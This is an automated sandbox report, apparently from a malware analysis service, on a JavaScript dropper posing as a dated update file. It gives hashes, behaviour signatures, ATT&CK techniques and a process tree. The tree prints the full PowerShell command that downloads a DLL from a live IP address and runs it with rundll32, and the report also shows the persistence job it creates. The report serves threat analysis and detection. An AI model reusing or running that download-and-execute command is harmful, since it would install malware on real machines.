0c9697506df18baac4b4215e78a43926ea4bb94ea3607c851a1c2fe3b5b31f17

Resubmissions

15/08/2024, 20:42

240815-zhg3jaxglr10

14/06/2024, 12:05

240614-n89dxszekb10

28/05/2024, 22:27

240528-2dhvdagb6210

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
28/05/2024, 22:27

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General

Target
Update_25_04_2024_3146918.js
Size 135KB
Sample240528-2dhvdagb62
SHA256 0c9697506df18baac4b4215e78a43926ea4bb94ea3607c851a1c2fe3b5b31f17
MD5 bf7f711e823916e5f56ff4d2286ee866
SHA1 d9c9d093ce5f1cbc78280ab0232b5d6ef8c25729
SHA512 842616018719df7c6ee7cac5996ea1399a2a459353ee96de2bf9fda122aac861baa0a5c848dad1d4aa756fab897d1e7a978eac359458d52801020685db67d941
SSDEEP 1536:XDOApMn1gDmN2yBCn/yA3seAeLCMamLcInL1VXJ3Duvnr:6A+n1gDmNnw/yA3slMamLcInL7tDuvr
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://185.49.69.41/data/d291855f9fd1c934f7c97a4d2ba99b89

Signatures

Blocklisted process makes network request 18 IoCs

flow	pid	Process
55	4632	rundll32.exe
56	4632	rundll32.exe
60	4632	rundll32.exe
61	4632	rundll32.exe
62	4632	rundll32.exe
63	4632	rundll32.exe
64	4632	rundll32.exe
66	4632	rundll32.exe
77	4632	rundll32.exe
78	4632	rundll32.exe
79	4632	rundll32.exe
81	4632	rundll32.exe
82	4632	rundll32.exe
86	4632	rundll32.exe
87	4632	rundll32.exe
88	4632	rundll32.exe
89	4632	rundll32.exe
90	4632	rundll32.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 1 IoCs

pid	Process
4632	rundll32.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\VM30CRET.htm	rundll32.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\RtlUpd.job	rundll32.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1152	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
1152	powershell.exe
1152	powershell.exe
1152	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4804	powershell.exe
Token: SeDebugPrivilege	1152	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1264 wrote to memory of 4804	1264	wscript.exe	101
PID 1264 wrote to memory of 4804	1264	wscript.exe	101
PID 4804 wrote to memory of 1152	4804	powershell.exe	104
PID 4804 wrote to memory of 1152	4804	powershell.exe	104
PID 1152 wrote to memory of 1244	1152	powershell.exe	110
PID 1152 wrote to memory of 1244	1152	powershell.exe	110

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_25_04_2024_3146918.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c "start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'http://185.49.69.41/data/d291855f9fd1c934f7c97a4d2ba99b89' -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d + ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1152
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\4d3vott1.1ju,Start
      4⤵
      Drops file in Windows directory
      PID:1244

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4340,i,17096020621006928097,15544233752327415349,262144 --variations-seed-version --mojo-platform-channel-handle=3244 /prefetch:8
1⤵
PID:2788

C:\Windows\system32\rundll32.exe
C:\Windows\system32\rundll32.exe "C:\ProgramData\RtlUpd\RtlUpd.dll",Start /p
1⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:4632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

RtlUpd.dll

Path C:\ProgramData\RtlUpd\RtlUpd.dll
Size 141KB
SHA256 a5f16fa960fe0461e2009bd748bc9057ef5cd31f05f48b12cfd7790fa741a24e
MD5 039ff182524d1f3c109869d5bee699a1
SHA1 9da43496bcb967ce77f18ed8a3ee19d53661e242
SHA512 3654009a9785e45488bb14cecea88a7a232976f003a32a9d5856572e491c580046629a3f0b2c130a1022a196677b1695643f7e2a457203233ba08fb13639317e
SSDEEP 3072:HACxLpcTIhjZM3VhHSkYl8CagwurZvE9vV1ZQyR:HTtpcPlJSTl4PuM
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_x3rcz2ql.c2k.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x3rcz2ql.c2k.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1152-24-0x000001829F120000-0x000001829F146000-memory.dmp

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memory/1152-25-0x000001829F170000-0x000001829F184000-memory.dmp

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memory/4804-0-0x00007FFCBA7C3000-0x00007FFCBA7C5000-memory.dmp

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memory/4804-1-0x0000023DE0910000-0x0000023DE0932000-memory.dmp

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memory/4804-7-0x00007FFCBA7C0000-0x00007FFCBB281000-memory.dmp

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memory/4804-12-0x00007FFCBA7C0000-0x00007FFCBB281000-memory.dmp

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memory/4804-13-0x0000023DE0E20000-0x0000023DE0F96000-memory.dmp

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memory/4804-14-0x0000023DE11B0000-0x0000023DE13BA000-memory.dmp

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memory/4804-29-0x00007FFCBA7C0000-0x00007FFCBB281000-memory.dmp

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